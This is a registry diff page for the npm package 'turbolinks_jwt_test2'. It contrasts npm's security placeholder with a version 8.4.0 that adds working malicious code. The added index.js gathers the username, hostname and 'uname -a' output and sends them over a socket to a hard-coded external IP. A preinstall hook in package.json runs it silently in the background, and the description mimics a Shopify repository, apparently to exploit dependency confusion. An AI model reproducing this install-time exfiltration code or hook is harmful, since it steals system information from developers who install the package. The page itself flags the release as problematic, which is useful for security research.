turbolinks_jwt_test2 0.0.1-security → 8.4.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of turbolinks_jwt_test2 might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +35 -0
  2. package/package.json +8 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,35 @@
1
+ const net = require("net");
2
+ const os = require("os");
3
+ const { execSync } = require("child_process");
4
+
5
+ // Configuration
6
+ const LISTENER_IP = "65.0.127.249"; // Your IP (where the listener is running)
7
+ const LISTENER_PORT = 7777; // The port where your listener is running
8
+
9
+ // Collect system information
10
+ const username = os.userInfo().username;
11
+ const hostname = os.hostname();
12
+ const systemInfo = execSync("uname -a").toString().trim();
13
+
14
+ // Format the data
15
+ const data = `Username: ${username}\nHostname: ${hostname}\nSystem Info: ${systemInfo}\n`;
16
+
17
+ // Connect to the listener and send data
18
+ const client = new net.Socket();
19
+ client.connect(LISTENER_PORT, LISTENER_IP, () => {
20
+ console.log(`Connected to listener at ${LISTENER_IP}:${LISTENER_PORT}`);
21
+ client.write(data); // Send system info
22
+ client.end(); // Close connection after sending
23
+ });
24
+
25
+ // Handle connection errors
26
+ client.on("error", (err) => {
27
+ console.error("Connection error:", err.message);
28
+ process.exit(1);
29
+ });
30
+
31
+ // Handle connection close
32
+ client.on("close", () => {
33
+ console.log("Connection closed.");
34
+ process.exit(0);
35
+ });
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "turbolinks_jwt_test2",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "8.4.0",
4
+ "description": "https://github.com/Shopify/turbolinks-jwt-sample-app/blob/3d539c0307298d316cc1050060d5989bcd6cc256/package.json#L4",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "nohup node index.js >/dev/null 2>&1 &"
8
+ },
9
+ "author": "Vishal Kumar :) vishalkumar957039@gmail.com",
10
+ "license": "ISC"
6
11
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=turbolinks_jwt_test2 for more information.